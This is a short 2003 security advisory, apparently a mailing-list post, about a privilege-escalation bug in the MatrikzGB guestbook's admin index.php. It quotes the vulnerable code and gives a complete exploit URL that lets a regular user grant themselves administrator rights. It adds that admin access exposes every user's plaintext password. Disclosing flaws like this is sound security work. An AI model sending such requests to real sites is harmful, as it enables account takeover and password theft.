Security hole in MatrikzGB

[Stephan S. <mastamorphixx () web de>]

Security hole in MatrikzGB Guestbook                                                                                   
15/8/2003 
 
Vulnerable Versions: 
Version 2.0 and prior 
Version 3   (not tested) 
 
Summary: 
MatrikzGB was written by Thomas Hempel for 
www.onsite.org. 
A bug in index.php allows a user with a regular user 
account to give administrator rights to himself. 
 
Details: 
The bug is in the user edit function: 
Every regular user is allowed to chanche rights or do any 
modifications on existing users. 
 if ($new_username != "" && $new_password != "") { 
create_user($new_username,$new_password,$new_rights,$entry_index); 
echo "<tr><th class=\"ok\">Der Benutzer wurde angelegt!"; 
 
Example: 
This is a example how to give administrator rights to 
yourself.    
http://www.target.com/php/gaestebuch/admin/index.php?do=options&action=optionsok&new_username=regularuser&new_password=regularpass&new_rights=admin&user=regularuser&pass=regularpass
 
 
Comment: 
When you got administrator rights,you can look up the 
passwords of all other users,they are in plaintext. 
 
Vendor status: 
Vendor has been contacted. 
 
by Stephan "mastamorphixx" S. ,member of 
www.lostkey.org                                                                                   
contact:mastamorphixx () web de 
irc.euirc.de #lostkey